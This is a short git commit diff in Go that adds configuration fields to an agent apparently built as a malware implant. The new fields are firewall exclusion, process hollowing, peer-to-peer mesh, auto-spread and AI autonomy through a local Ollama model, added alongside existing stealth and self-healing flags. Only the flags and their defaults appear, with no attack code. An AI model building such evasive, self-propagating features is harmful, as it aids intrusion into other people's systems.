Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -36,8 +36,12 @@ func GetBuiltinConfig() BuiltinConfig {
SelfHealing: true,
FileLogging: true,
StealthMode: false,
FirewallExclusion: true,
AIEnabled: false,
AIOllamaEndpoint: "http://localhost:11434",
AIModel: "llama3.2",
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
}
}

View File

@@ -42,10 +42,14 @@ type BuiltinConfig struct {
SelfHealing bool
FileLogging bool
StealthMode bool
FirewallExclusion bool
// AI Autonomy (Ollama)
AIEnabled bool
AIOllamaEndpoint string
AIModel string
ProcessHollowing bool
MeshP2P bool
AutoSpread bool
}
type RuntimeConfig struct {